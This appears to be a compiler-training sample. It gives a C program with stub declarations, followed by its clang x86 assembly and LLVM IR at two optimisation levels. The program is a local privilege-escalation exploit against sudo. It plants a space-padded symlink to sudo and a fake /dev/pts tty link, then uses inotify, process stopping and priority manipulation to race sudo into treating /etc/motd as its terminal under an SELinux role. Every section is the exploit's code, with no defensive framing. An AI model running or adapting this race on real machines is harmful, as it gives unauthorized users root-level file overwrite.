#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct sched_param {
  scalar_t__ sched_priority;
};
struct inotify_event {
  int mask;
  scalar_t__ len;
};
typedef scalar_t__ pid_t;
typedef int /*<<< orphan*/ mask;
typedef int /*<<< orphan*/ cpu_set_t;

/* Variables and functions */
int /*<<< orphan*/ CPU_SET(int /*<<< orphan*/, int /*<<< orphan*/ *);
int /*<<< orphan*/ CPU_ZERO(int /*<<< orphan*/ *);
int IN_CLOSE_NOWRITE;
int IN_OPEN;
int /*<<< orphan*/ PRIO_PROCESS;
int /*<<< orphan*/ SCHED_IDLE;
int /*<<< orphan*/ SIGCONT;
int /*<<< orphan*/ SIGSTOP;
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ execlp(char *, char *, char *, char *, char *, char *,
                          int /*<<< orphan*/ *);
scalar_t__ fork();
int inotify_add_watch(int, char *, int);
int inotify_init();
int /*<<< orphan*/ inotify_rm_watch(int, int);
int /*<<< orphan*/ kill(scalar_t__, int /*<<< orphan*/);
int /*<<< orphan*/ mkdir(char *, int);
int /*<<< orphan*/ openpty(int *, int *, char *, int /*<<< orphan*/ *,
                           int /*<<< orphan*/ *);
int read(int, char *, int);
int /*<<< orphan*/ rmdir(char *);
int /*<<< orphan*/ sched_setaffinity(scalar_t__, int, int /*<<< orphan*/ *);
int /*<<< orphan*/ sched_setscheduler(scalar_t__, int /*<<< orphan*/,
                                      struct sched_param *);
int /*<<< orphan*/ setpriority(int /*<<< orphan*/, scalar_t__, int);
int /*<<< orphan*/ sleep(int);
scalar_t__ strcmp(char *, char *);
int /*<<< orphan*/ symlink(char *, char *);
int /*<<< orphan*/ unlink(char *);
int /*<<< orphan*/ waitpid(scalar_t__, int /*<<< orphan*/ *,
                           int /*<<< orphan*/);
int main() {
  int length, i = 0;
  int fd;
  int wd;
  char buffer[(1024 * ((sizeof(struct inotify_event)) + 16))];
  int master, slave;
  char pts_path[256];
  cpu_set_t mask;
  struct sched_param params;
  params.sched_priority = 0;
  CPU_ZERO(&mask);
  CPU_SET(0, &mask);
  mkdir("/dev/shm/_tmp", 0755);
  symlink("/dev/pts/57", "/dev/shm/_tmp/_tty");
  symlink("/usr/bin/sudo", "/dev/shm/_tmp/     34873 ");
  fd = inotify_init();
  wd = inotify_add_watch(fd, "/dev/shm/_tmp", IN_OPEN | IN_CLOSE_NOWRITE);
  pid_t pid = fork();
  if (pid == 0) {
    sched_setaffinity(pid, sizeof(mask), &mask);
    sched_setscheduler(pid, SCHED_IDLE, &params);
    setpriority(PRIO_PROCESS, pid, 19);
    sleep(1);
    execlp("/dev/shm/_tmp/     34873 ", "sudo", "-r", "unconfined_r",
           "/usr/bin/sum", "--\nHELLO\nWORLD\n", NULL);
  } else {
    setpriority(PRIO_PROCESS, 0, -20);
    int state = 0;
    while (1) {
      length = read(fd, buffer, (1024 * ((sizeof(struct inotify_event)) + 16)));
      kill(pid, SIGSTOP);
      i = 0;
      while (i < length) {
        struct inotify_event *event = (struct inotify_event *)&buffer[i];
        if (event->mask & IN_OPEN) {
          while (strcmp(pts_path, "/dev/pts/57")) {
            openpty(&master, &slave, &pts_path[0], NULL, NULL);
          };
          break;
        } else if (event->mask & IN_CLOSE_NOWRITE) {
          unlink("/dev/shm/_tmp/_tty");
          symlink("/etc/motd", "/dev/shm/_tmp/_tty");
          state = 1;
          break;
        }
        i += (sizeof(struct inotify_event)) + event->len;
      }
      kill(pid, SIGCONT);
      if (state == 1)
        break;
    }
    waitpid(pid, NULL, 0);
    inotify_rm_watch(fd, wd);
    close(fd);
    close(wd);
    unlink("/dev/shm/_tmp/_tty");
    unlink("/dev/shm/_tmp/     34873 ");
    rmdir("/dev/shm/_tmp");
    close(master);
    close(slave);
  }
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x8160,%rsp
movl   $0x0,-0x4(%rbp)
movl   $0x0,-0xc(%rbp)
movq   $0x0,-0x8140(%rbp)
lea    -0x8134(%rbp),%rdi
call   1110 <CPU_ZERO@plt>
xor    %edi,%edi
lea    -0x8134(%rbp),%rsi
call   1140 <CPU_SET@plt>
lea    0xd6b(%rip),%rdi
mov    $0x1ed,%esi
call   1040 <mkdir@plt>
lea    0xd68(%rip),%rdi
lea    0xd6d(%rip),%rsi
call   1060 <symlink@plt>
lea    0xd74(%rip),%rdi
lea    0xd7b(%rip),%rsi
call   1060 <symlink@plt>
mov    $0x0,%al
call   10e0 <inotify_init@plt>
mov    %eax,-0x10(%rbp)
mov    -0x10(%rbp),%edi
mov    0x2cd7(%rip),%rax
mov    (%rax),%edx
mov    0x2cfe(%rip),%rax
or     (%rax),%edx
lea    0xd15(%rip),%rsi
call   10f0 <inotify_add_watch@plt>
mov    %eax,-0x14(%rbp)
mov    $0x0,%al
call   1170 <fork@plt>
mov    %rax,-0x8148(%rbp)
cmpq   $0x0,-0x8148(%rbp)
jne    13a5 <main+0x155>
mov    -0x8148(%rbp),%rdi
mov    $0x4,%esi
lea    -0x8134(%rbp),%rdx
call   10a0 <sched_setaffinity@plt>
mov    -0x8148(%rbp),%rdi
mov    0x2ca3(%rip),%rax
mov    (%rax),%esi
lea    -0x8140(%rbp),%rdx
call   1080 <sched_setscheduler@plt>
mov    0x2c7e(%rip),%rax
mov    (%rax),%edi
mov    -0x8148(%rbp),%rsi
mov    $0x13,%edx
call   1070 <setpriority@plt>
mov    $0x1,%edi
call   1160 <sleep@plt>
lea    0xccd(%rip),%rdi
lea    0xcc1(%rip),%rsi
lea    0xcd9(%rip),%rdx
lea    0xcd5(%rip),%rcx
lea    0xcdb(%rip),%r8
lea    0xce1(%rip),%r9
xor    %eax,%eax
movq   $0x0,(%rsp)
call   1130 <execlp@plt>
jmp    1582 <main+0x332>
mov    0x2c1c(%rip),%rax
mov    (%rax),%edi
xor    %eax,%eax
mov    %eax,%esi
mov    $0xffffffec,%edx
call   1070 <setpriority@plt>
movl   $0x0,-0x814c(%rbp)
mov    -0x10(%rbp),%edi
lea    -0x8020(%rbp),%rsi
mov    $0x8000,%edx
call   10b0 <read@plt>
mov    %eax,-0x8(%rbp)
mov    -0x8148(%rbp),%rdi
mov    0x2bd5(%rip),%rax
mov    (%rax),%esi
call   10d0 <kill@plt>
movl   $0x0,-0xc(%rbp)
mov    -0xc(%rbp),%eax
cmp    -0x8(%rbp),%eax
jge    14ef <main+0x29f>
movslq -0xc(%rbp),%rcx
lea    -0x8020(%rbp),%rax
add    %rcx,%rax
mov    %rax,-0x8158(%rbp)
mov    -0x8158(%rbp),%rax
mov    (%rax),%eax
mov    0x2b86(%rip),%rcx
and    (%rcx),%eax
cmp    $0x0,%eax
je     1483 <main+0x233>
jmp    143a <main+0x1ea>
lea    -0x8130(%rbp),%rdi
lea    0xbc6(%rip),%rsi
call   10c0 <strcmp@plt>
cmp    $0x0,%rax
je     147e <main+0x22e>
lea    -0x8130(%rbp),%rdx
lea    -0x8024(%rbp),%rdi
lea    -0x8028(%rbp),%rsi
xor    %eax,%eax
mov    %eax,%r8d
mov    %r8,%rcx
call   1100 <openpty@plt>
jmp    143a <main+0x1ea>
jmp    14ef <main+0x29f>
mov    -0x8158(%rbp),%rax
mov    (%rax),%eax
mov    0x2b4d(%rip),%rcx
and    (%rcx),%eax
cmp    $0x0,%eax
je     14cc <main+0x27c>
lea    0xb75(%rip),%rdi
call   1030 <unlink@plt>
lea    0xbd1(%rip),%rdi
lea    0xb62(%rip),%rsi
call   1060 <symlink@plt>
movl   $0x1,-0x814c(%rbp)
jmp    14ef <main+0x29f>
jmp    14d1 <main+0x281>
mov    -0x8158(%rbp),%rax
mov    0x8(%rax),%rcx
add    $0x10,%rcx
movslq -0xc(%rbp),%rax
add    %rcx,%rax
mov    %eax,-0xc(%rbp)
jmp    13f9 <main+0x1a9>
mov    -0x8148(%rbp),%rdi
mov    0x2aeb(%rip),%rax
mov    (%rax),%esi
call   10d0 <kill@plt>
cmpl   $0x1,-0x814c(%rbp)
jne    1516 <main+0x2c6>
jmp    151b <main+0x2cb>
jmp    13c6 <main+0x176>
mov    -0x8148(%rbp),%rdi
xor    %eax,%eax
mov    %eax,%esi
xor    %edx,%edx
call   1120 <waitpid@plt>
mov    -0x10(%rbp),%edi
mov    -0x14(%rbp),%esi
call   1150 <inotify_rm_watch@plt>
mov    -0x10(%rbp),%edi
call   1090 <close@plt>
mov    -0x14(%rbp),%edi
call   1090 <close@plt>
lea    0xacb(%rip),%rdi
call   1030 <unlink@plt>
lea    0xae0(%rip),%rdi
call   1030 <unlink@plt>
lea    0xa99(%rip),%rdi
call   1050 <rmdir@plt>
mov    -0x8024(%rbp),%edi
call   1090 <close@plt>
mov    -0x8028(%rbp),%edi
call   1090 <close@plt>
mov    -0x4(%rbp),%eax
add    $0x8160,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x8138,%rsp
movq   $0x0,0x28(%rsp)
lea    0x1c(%rsp),%rbx
mov    %rbx,%rdi
call   1110 <CPU_ZERO@plt>
xor    %edi,%edi
mov    %rbx,%rsi
call   1140 <CPU_SET@plt>
lea    0xd78(%rip),%rbx
mov    %rbx,%rdi
mov    $0x1ed,%esi
call   1040 <mkdir@plt>
lea    0xd72(%rip),%rdi
lea    0xd77(%rip),%rsi
call   1060 <symlink@plt>
lea    0xd7e(%rip),%rdi
lea    0xd85(%rip),%rsi
call   1060 <symlink@plt>
xor    %eax,%eax
call   10e0 <inotify_init@plt>
mov    0x2ce7(%rip),%rcx
mov    0x2d10(%rip),%rdx
mov    (%rdx),%edx
or     (%rcx),%edx
mov    %eax,0x14(%rsp)
mov    %eax,%edi
mov    %rbx,%rsi
call   10f0 <inotify_add_watch@plt>
mov    %eax,%ebx
xor    %eax,%eax
call   1170 <fork@plt>
test   %rax,%rax
je     1476 <main+0x226>
mov    %rax,%r13
mov    %ebx,0x18(%rsp)
mov    0x2cc6(%rip),%rax
mov    (%rax),%edi
xor    %esi,%esi
mov    $0xffffffec,%edx
call   1070 <setpriority@plt>
lea    0xcf7(%rip),%rbx
lea    0x30(%rsp),%rbp
lea    0x24(%rsp),%r14
lea    0x20(%rsp),%r15
jmp    1341 <main+0xf1>
nopl   0x0(%rax,%rax,1)
mov    0x2cb1(%rip),%rax
mov    (%rax),%esi
mov    %r13,%rdi
call   10d0 <kill@plt>
mov    0x14(%rsp),%edi
lea    0x130(%rsp),%rsi
mov    $0x8000,%edx
call   10b0 <read@plt>
mov    %eax,%r12d
mov    0x2c5f(%rip),%rax
mov    (%rax),%esi
mov    %r13,%rdi
call   10d0 <kill@plt>
test   %r12d,%r12d
jle    1330 <main+0xe0>
mov    0x2c39(%rip),%rax
mov    (%rax),%eax
mov    0x2c60(%rip),%rcx
mov    (%rcx),%ecx
xor    %edx,%edx
cs nopw 0x0(%rax,%rax,1)
xchg   %ax,%ax
movslq %edx,%rdx
mov    0x130(%rsp,%rdx,1),%esi
test   %esi,%eax
jne    13d3 <main+0x183>
test   %esi,%ecx
jne    13e8 <main+0x198>
mov    0x138(%rsp,%rdx,1),%esi
add    %esi,%edx
add    $0x10,%edx
cmp    %r12d,%edx
jl     1390 <main+0x140>
jmp    1330 <main+0xe0>
nopl   0x0(%rax,%rax,1)
mov    %r14,%rdi
mov    %r15,%rsi
mov    %rbp,%rdx
xor    %ecx,%ecx
xor    %r8d,%r8d
call   1100 <openpty@plt>
mov    %rbp,%rdi
mov    %rbx,%rsi
call   10c0 <strcmp@plt>
test   %rax,%rax
jne    13c0 <main+0x170>
jmp    1330 <main+0xe0>
lea    0xc2b(%rip),%r14
mov    %r14,%rdi
call   1030 <unlink@plt>
lea    0xc84(%rip),%rdi
mov    %r14,%rsi
call   1060 <symlink@plt>
mov    0x2bdb(%rip),%rax
mov    (%rax),%esi
mov    %r13,%rdi
call   10d0 <kill@plt>
mov    %r13,%rdi
xor    %esi,%esi
xor    %edx,%edx
call   1120 <waitpid@plt>
mov    0x14(%rsp),%ebp
mov    %ebp,%edi
mov    0x18(%rsp),%ebx
mov    %ebx,%esi
call   1150 <inotify_rm_watch@plt>
mov    %ebp,%edi
call   1090 <close@plt>
mov    %ebx,%edi
call   1090 <close@plt>
mov    %r14,%rdi
call   1030 <unlink@plt>
lea    0xbea(%rip),%rdi
call   1030 <unlink@plt>
lea    0xba3(%rip),%rdi
call   1050 <rmdir@plt>
mov    0x24(%rsp),%edi
call   1090 <close@plt>
mov    0x20(%rsp),%edi
call   1090 <close@plt>
jmp    14f2 <main+0x2a2>
lea    0x1c(%rsp),%rdx
xor    %edi,%edi
mov    $0x4,%esi
call   10a0 <sched_setaffinity@plt>
mov    0x2b4a(%rip),%rax
mov    (%rax),%esi
lea    0x28(%rsp),%rdx
xor    %edi,%edi
call   1080 <sched_setscheduler@plt>
mov    0x2b25(%rip),%rax
mov    (%rax),%edi
xor    %esi,%esi
mov    $0x13,%edx
call   1070 <setpriority@plt>
mov    $0x1,%edi
call   1160 <sleep@plt>
movq   $0x0,(%rsp)
lea    0xb71(%rip),%rdi
lea    0xb65(%rip),%rsi
lea    0xb7d(%rip),%rdx
lea    0xb79(%rip),%rcx
lea    0xb7f(%rip),%r8
lea    0xb85(%rip),%r9
call   1130 <execlp@plt>
xor    %eax,%eax
add    $0x8138,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.sched_param = type { i64 }
%struct.inotify_event = type { i32, i64 }
@.str = [14 x i8] c"/dev/shm/_tmp\00"
@.str.1 = [12 x i8] c"/dev/pts/57\00"
@.str.2 = [19 x i8] c"/dev/shm/_tmp/_tty\00"
@.str.3 = [14 x i8] c"/usr/bin/sudo\00"
@.str.4 = [26 x i8] c"/dev/shm/_tmp/ 34873 \00"
@IN_OPEN = global i32 0
@IN_CLOSE_NOWRITE = global i32 0
@SCHED_IDLE = global i32 0
@PRIO_PROCESS = global i32 0
@.str.5 = [5 x i8] c"sudo\00"
@.str.6 = [3 x i8] c"-r\00"
@.str.7 = [13 x i8] c"unconfined_r\00"
@.str.8 = [13 x i8] c"/usr/bin/sum\00"
@.str.9 = [16 x i8] c"--\0AHELLO\0AWORLD\0A\00"
@SIGSTOP = global i32 0
@.str.10 = [10 x i8] c"/etc/motd\00"
@SIGCONT = global i32 0
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
%6 = alloca [32768 x i8]
%7 = alloca i32
%8 = alloca i32
%9 = alloca [256 x i8]
%10 = alloca i32
%11 = alloca %struct.sched_param
%12 = alloca i64
%13 = alloca i32
%14 = alloca %struct.inotify_event*
store i32 0, i32* %1
store i32 0, i32* %3
%15 = getelementptr inbounds %struct.sched_param, %struct.sched_param* %11, i32 0, i32 0
store i64 0, i64* %15
%16 = call i32 @CPU_ZERO(i32* %10)
%17 = call i32 @CPU_SET(i32 0, i32* %10)
%18 = call i32 @mkdir(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0), i32 493)
%19 = call i32 @symlink(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.2, i64 0, i64 0))
%20 = call i32 @symlink(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.4, i64 0, i64 0))
%21 = call i32 (...) @inotify_init()
store i32 %21, i32* %4
%22 = load i32, i32* %4
%23 = load i32, i32* @IN_OPEN
%24 = load i32, i32* @IN_CLOSE_NOWRITE
%25 = or i32 %23, %24
%26 = call i32 @inotify_add_watch(i32 %22, i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0), i32 %25)
store i32 %26, i32* %5
%27 = call i64 (...) @fork()
store i64 %27, i64* %12
%28 = load i64, i64* %12
%29 = icmp eq i64 %28, 0
br i1 %29, label %30, label %41
30: ; preds = %0
%31 = load i64, i64* %12
%32 = call i32 @sched_setaffinity(i64 %31, i32 4, i32* %10)
%33 = load i64, i64* %12
%34 = load i32, i32* @SCHED_IDLE
%35 = call i32 @sched_setscheduler(i64 %33, i32 %34, %struct.sched_param* %11)
%36 = load i32, i32* @PRIO_PROCESS
%37 = load i64, i64* %12
%38 = call i32 @setpriority(i32 %36, i64 %37, i32 19)
%39 = call i32 @sleep(i32 1)
%40 = call i32 @execlp(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.5, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.8, i64 0, i64 0), i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.9, i64 0, i64 0), i32* null)
br label %120
41: ; preds = %0
%42 = load i32, i32* @PRIO_PROCESS
%43 = call i32 @setpriority(i32 %42, i64 0, i32 -20)
store i32 0, i32* %13
br label %44
44: ; preds = %41, %102
%45 = load i32, i32* %4
%46 = getelementptr inbounds [32768 x i8], [32768 x i8]* %6, i64 0, i64 0
%47 = call i32 @read(i32 %45, i8* %46, i32 32768)
store i32 %47, i32* %2
%48 = load i64, i64* %12
%49 = load i32, i32* @SIGSTOP
%50 = call i32 @kill(i64 %48, i32 %49)
store i32 0, i32* %3
br label %51
51: ; preds = %86, %44
%52 = load i32, i32* %3
%53 = load i32, i32* %2
%54 = icmp slt i32 %52, %53
br i1 %54, label %55, label %95
55: ; preds = %51
%56 = load i32, i32* %3
%57 = sext i32 %56 to i64
%58 = getelementptr inbounds [32768 x i8], [32768 x i8]* %6, i64 0, i64 %57
%59 = bitcast i8* %58 to %struct.inotify_event*
store %struct.inotify_event* %59, %struct.inotify_event** %14
%60 = load %struct.inotify_event*, %struct.inotify_event** %14
%61 = getelementptr inbounds %struct.inotify_event, %struct.inotify_event* %60, i32 0, i32 0
%62 = load i32, i32* %61
%63 = load i32, i32* @IN_OPEN
%64 = and i32 %62, %63
%65 = icmp ne i32 %64, 0
br i1 %65, label %66, label %75
66: ; preds = %55
br label %67
67: ; preds = %71, %66
%68 = getelementptr inbounds [256 x i8], [256 x i8]* %9, i64 0, i64 0
%69 = call i64 @strcmp(i8* %68, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.1, i64 0, i64 0))
%70 = icmp ne i64 %69, 0
br i1 %70, label %71, label %74
71: ; preds = %67
%72 = getelementptr inbounds [256 x i8], [256 x i8]* %9, i64 0, i64 0
%73 = call i32 @openpty(i32* %7, i32* %8, i8* %72, i32* null, i32* null)
br label %67
74: ; preds = %67
br label %95
75: ; preds = %55
%76 = load %struct.inotify_event*, %struct.inotify_event** %14
%77 = getelementptr inbounds %struct.inotify_event, %struct.inotify_event* %76, i32 0, i32 0
%78 = load i32, i32* %77
%79 = load i32, i32* @IN_CLOSE_NOWRITE
%80 = and i32 %78, %79
%81 = icmp ne i32 %80, 0
br i1 %81, label %82, label %85
82: ; preds = %75
%83 = call i32 @unlink(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.2, i64 0, i64 0))
%84 = call i32 @symlink(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.10, i64 0, i64 0), i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.2, i64 0, i64 0))
store i32 1, i32* %13
br label %95
85: ; preds = %75
br label %86
86: ; preds = %85
%87 = load %struct.inotify_event*, %struct.inotify_event** %14
%88 = getelementptr inbounds %struct.inotify_event, %struct.inotify_event* %87, i32 0, i32 1
%89 = load i64, i64* %88
%90 = add i64 16, %89
%91 = load i32, i32* %3
%92 = sext i32 %91 to i64
%93 = add i64 %92, %90
%94 = trunc i64 %93 to i32
store i32 %94, i32* %3
br label %51
95: ; preds = %82, %74, %51
%96 = load i64, i64* %12
%97 = load i32, i32* @SIGCONT
%98 = call i32 @kill(i64 %96, i32 %97)
%99 = load i32, i32* %13
%100 = icmp eq i32 %99, 1
br i1 %100, label %101, label %102
101: ; preds = %95
br label %103
102: ; preds = %95
br label %44
103: ; preds = %101
%104 = load i64, i64* %12
%105 = call i32 @waitpid(i64 %104, i32* null, i32 0)
%106 = load i32, i32* %4
%107 = load i32, i32* %5
%108 = call i32 @inotify_rm_watch(i32 %106, i32 %107)
%109 = load i32, i32* %4
%110 = call i32 @close(i32 %109)
%111 = load i32, i32* %5
%112 = call i32 @close(i32 %111)
%113 = call i32 @unlink(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.2, i64 0, i64 0))
%114 = call i32 @unlink(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.4, i64 0, i64 0))
%115 = call i32 @rmdir(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0))
%116 = load i32, i32* %7
%117 = call i32 @close(i32 %116)
%118 = load i32, i32* %8
%119 = call i32 @close(i32 %118)
br label %120
120: ; preds = %103, %30
%121 = load i32, i32* %1
ret i32 %121
}

LLVM IR (-O2):
%struct.sched_param = type { i64 }
@.str = [14 x i8] c"/dev/shm/_tmp\00"
@.str.1 = [12 x i8] c"/dev/pts/57\00"
@.str.2 = [19 x i8] c"/dev/shm/_tmp/_tty\00"
@.str.3 = [14 x i8] c"/usr/bin/sudo\00"
@.str.4 = [26 x i8] c"/dev/shm/_tmp/ 34873 \00"
@IN_OPEN = global i32 0
@IN_CLOSE_NOWRITE = global i32 0
@SCHED_IDLE = global i32 0
@PRIO_PROCESS = global i32 0
@.str.5 = [5 x i8] c"sudo\00"
@.str.6 = [3 x i8] c"-r\00"
@.str.7 = [13 x i8] c"unconfined_r\00"
@.str.8 = [13 x i8] c"/usr/bin/sum\00"
@.str.9 = [16 x i8] c"--\0AHELLO\0AWORLD\0A\00"
@SIGSTOP = global i32 0
@.str.10 = [10 x i8] c"/etc/motd\00"
@SIGCONT = global i32 0
define i32 @main() {
%1 = alloca [32768 x i8]
%2 = alloca i32
%3 = alloca i32
%4 = alloca [256 x i8]
%5 = alloca i32
%6 = alloca %struct.sched_param
%7 = getelementptr inbounds [32768 x i8], [32768 x i8]* %1, i64 0, i64 0
%8 = bitcast i32* %2 to i8*
%9 = bitcast i32* %3 to i8*
%10 = getelementptr inbounds [256 x i8], [256 x i8]* %4, i64 0, i64 0
%11 = bitcast i32* %5 to i8*
%12 = bitcast %struct.sched_param* %6 to i8*
%13 = getelementptr inbounds %struct.sched_param, %struct.sched_param* %6, i64 0, i32 0
store i64 0, i64* %13
%14 = call i32 @CPU_ZERO(i32* %5)
%15 = call i32 @CPU_SET(i32 0, i32* %5)
%16 = call i32 @mkdir(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0), i32 493)
%17 = call i32 @symlink(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.2, i64 0, i64 0))
%18 = call i32 @symlink(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.4, i64 0, i64 0))
%19 = call i32 (...) @inotify_init()
%20 = load i32, i32* @IN_OPEN
%21 = load i32, i32* @IN_CLOSE_NOWRITE
%22 = or i32 %21, %20
%23 = call i32 @inotify_add_watch(i32 %19, i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0), i32 %22)
%24 = call i64 (...) @fork()
%25 = icmp eq i64 %24, 0
br i1 %25, label %26, label %34
26: ; preds = %0
%27 = call i32 @sched_setaffinity(i64 0, i32 4, i32* %5)
%28 = load i32, i32* @SCHED_IDLE
%29 = call i32 @sched_setscheduler(i64 0, i32 %28, %struct.sched_param* %6)
%30 = load i32, i32* @PRIO_PROCESS
%31 = call i32 @setpriority(i32 %30, i64 0, i32 19)
%32 = call i32 @sleep(i32 1)
%33 = call i32 @execlp(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.5, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.8, i64 0, i64 0), i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.9, i64 0, i64 0), i32* null)
br label %90
34: ; preds = %0
%35 = load i32, i32* @PRIO_PROCESS
%36 = call i32 @setpriority(i32 %35, i64 0, i32 -20)
br label %37
37: ; preds = %71, %34
%38 = call i32 @read(i32 %19, i8* %7, i32 32768)
%39 = load i32, i32* @SIGSTOP
%40 = call i32 @kill(i64 %24, i32 %39)
%41 = icmp sgt i32 %38, 0
br i1 %41, label %42, label %71
42: ; preds = %37
%43 = load i32, i32* @IN_OPEN
%44 = load i32, i32* @IN_CLOSE_NOWRITE
br label %45
45: ; preds = %42, %63
%46 = phi i32 [ 0, %42 ], [ %69, %63 ]
%47 = sext i32 %46 to i64
%48 = getelementptr inbounds [32768 x i8], [32768 x i8]* %1, i64 0, i64 %47
%49 = bitcast i8* %48 to i32*
%50 = load i32, i32* %49
%51 = and i32 %43, %50
%52 = icmp eq i32 %51, 0
br i1 %52, label %60, label %53
53: ; preds = %45
%54 = call i64 @strcmp(i8* %10, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.1, i64 0, i64 0))
%55 = icmp eq i64 %54, 0
br i1 %55, label %71, label %56
56: ; preds = %53, %56
%57 = call i32 @openpty(i32* %2, i32* %3, i8* %10, i32* null, i32* null)
%58 = call i64 @strcmp(i8* %10, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.1, i64 0, i64 0))
%59 = icmp eq i64 %58, 0
br i1 %59, label %71, label %56
60: ; preds = %45
%61 = and i32 %44, %50
%62 = icmp eq i32 %61, 0
br i1 %62, label %63, label %74
63: ; preds = %60
%64 = getelementptr inbounds i8, i8* %48, i64 8
%65 = bitcast i8* %64 to i64*
%66 = load i64, i64* %65
%67 = trunc i64 %66 to i32
%68 = add i32 %46, 16
%69 = add i32 %68, %67
%70 = icmp slt i32 %69, %38
br i1 %70, label %45, label %71
71: ; preds = %63, %56, %37, %53
%72 = load i32, i32* @SIGCONT
%73 = call i32 @kill(i64 %24, i32 %72)
br label %37
74: ; preds = %60
%75 = call i32 @unlink(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.2, i64 0, i64 0))
%76 = call i32 @symlink(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.10, i64 0, i64 0), i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.2, i64 0, i64 0))
%77 = load i32, i32* @SIGCONT
%78 = call i32 @kill(i64 %24, i32 %77)
%79 = call i32 @waitpid(i64 %24, i32* null, i32 0)
%80 = call i32 @inotify_rm_watch(i32 %19, i32 %23)
%81 = call i32 @close(i32 %19)
%82 = call i32 @close(i32 %23)
%83 = call i32 @unlink(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.2, i64 0, i64 0))
%84 = call i32 @unlink(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.4, i64 0, i64 0))
%85 = call i32 @rmdir(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0))
%86 = load i32, i32* %2
%87 = call i32 @close(i32 %86)
%88 = load i32, i32* %3
%89 = call i32 @close(i32 %88)
br label %90
90: ; preds = %74, %26
ret i32 0
}